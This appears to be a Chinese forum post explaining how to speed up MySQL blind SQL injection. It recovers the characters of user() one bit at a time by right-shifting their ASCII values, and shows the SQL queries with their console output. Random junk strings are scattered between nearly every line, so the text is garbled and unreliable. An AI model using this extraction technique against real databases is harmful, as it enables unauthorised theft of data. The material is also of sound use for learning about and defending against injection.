关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位


' y- i4 T2 m* F: J( S; U: J% O
下面将以查询mysql数据库当中user()的第一位为例:
! u( L* h: X2 y. D* G, [
6 a  C, U% j0 }! ~0 B+ D; P" ^
" u+ U2 `6 R& \0 @$ O* u
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
% }0 y: b# B) U2 D( l
  n6 Q/ r. l: m3 ]  J: c
% l+ }7 `% y6 W9 F3 s
首先执行如下sql语句:
+ Z) }- C/ b. ^5 [, _" P
  U6 f: U6 c! X  M- |

: F: t% [. L, K9 u0 emysql> select (ascii((substr(user(),1,1))) >> 7)=0;
1 t6 p2 ^6 j! v/ V
1 F0 h. F3 U6 @/ Y0 l# O

我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
6 S+ Z. Z1 J( N8 R) n- J


第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1

7 P( s5 `1 x# ~# v' f3 a

如果运算结果为1,说明第一位为0,不为1
/ H2 B  V( C% o: ]* c6 j


$ c" _0 }1 ?" u5 d, V4 {; e4 K+————————————–+
2 ^$ {6 \0 W* G: Y) G
3 K; ?3 Z# f; c( k6 D$ O; d  L' a| (ascii((substr(user(),1,1))) >> 7)=0 |
) l; m1 B* k% Y7 O7 x6 \
+————————————–+

| 1 |

+————————————–+

3 c' c8 }3 B( M$ J+ }, |1 row in set (0.00 sec)
0 l) O' O# f5 f* q- n
这样我们就确定这个8bit的ascii的第一位为0
0 f! p8 G1 K/ e- t6 b8 p
' Y/ t. h$ x( ^& ?% s+ m

第二次我们来做6次右偏移来确定前两位
( [/ J; R3 M+ m& {1 F# ^' y
2 t* O- J9 k: i. W5 B; O0 Y0 o* \

& m6 O$ d7 Y8 v5 t& f" G. {前两位可能是01或00,即依然可以与0做比较,

$ L/ }; F+ E6 Emysql> select (ascii((substr(user(),1,1))) >> 6)=0;
# }! a! t2 H- l& N
% H# F$ |7 {+ {# m+ D6 z+————————————–+

| (ascii((substr(user(),1,1))) >> 6)=0 |
4 s, ?" \3 K/ {2 P! S7 }4 J# p
: a3 s' h6 d* C8 k3 D, \  u+————————————–+
) q1 [# A6 P  `8 b
) Z+ u, c. a+ h0 w" e) x" d8 `! e| 0 |
, O4 K4 F0 s3 x/ W  m) D9 ~+ b
0 ?. H8 G" v$ e. d2 _3 _+————————————–+
  a* b: O. k( S) r( E6 Z# m
1 row in set (0.00 sec)
5 p7 W. C, C  I. r
" s, f& t  s- G: x6 e
* q9 }5 d) g! f) f: ?
) w' L# `2 p. U结果为0,即第二位为1



2 ?: E9 o/ f9 b: j# y7 G8 b! v开始猜测前三位为010或011
6 s5 e5 k% e8 o6 ?
- w5 H; x& l2 M- x% Q" d* U
3 }  l" f# n( L  g( q
让我们看看010和011的ascii码是多少



分别查询select b’011′ select b’010′
7 i+ D( R/ P# o% J* z  h
) Y& I( ]: y9 r

$ Y4 y8 L( T( g: m& }6 }获得结果 010 = 2 011 = 3
* h  ]* O. M+ J& }- J" |# L  E


# t" t* m7 |: h# D8 F4 ^+ u3 [执行如下sql:
# ]7 S2 d6 }. p/ U( U6 V
5 R, v# l0 j; C" f

9 T' L5 y/ y( W7 A' ^) nmysql> select (ascii((substr(user(),1,1))) >> 5)=2;
. S9 h6 e& P1 G8 W* W# g
( L3 [. |6 c& E/ k* ?1 O/ E$ [& ]+————————————–+

| (ascii((substr(user(),1,1))) >> 5)=2 |

+————————————–+

| 0 |
( @2 x- }2 B7 L  l; _% H' R( z
+————————————–+

# U0 v3 ?7 N5 M$ W即前三位不为010,而是011


6 O1 {1 f& }1 h, D& ?
直到获得最后一位


+ {+ n# r( Z9 {- \) l8 E$ k3 h
最终结果为:01110010



5 A1 M3 P: q# o) p转换一下:
1 b- @# e5 }1 k# P  i, K


select b’01110010′
! S, Q) c5 p) s) O
8 z. F7 y6 b! L

查询结果

0 M7 U# h+ r; C) ^7 o
" ?$ E0 ]+ h% b% a. S
+————-+

| b’01110010′ |
* P0 \8 d+ X, v  ~7 k
# U9 ]: l# r2 O+ V5 D: c6 O) L+————-+

& f* z- p% A" U8 b: k. s| r |
9 \& R0 e. W( q
  [+ G- F( a3 @' [  Z+————-+

3 x# }5 m/ p1 [5 a1 row in set (0.00 sec)
6 H1 d$ V0 S" \, a# W1 ]: [1 y/ l
9 ^+ ]  `7 q& p5 o

2 u$ O7 o7 k* ^" B7 }这样我们就获得了user()的第一位.其它位依此类推
. [8 R7 n& W8 r3 V* v0 k8 m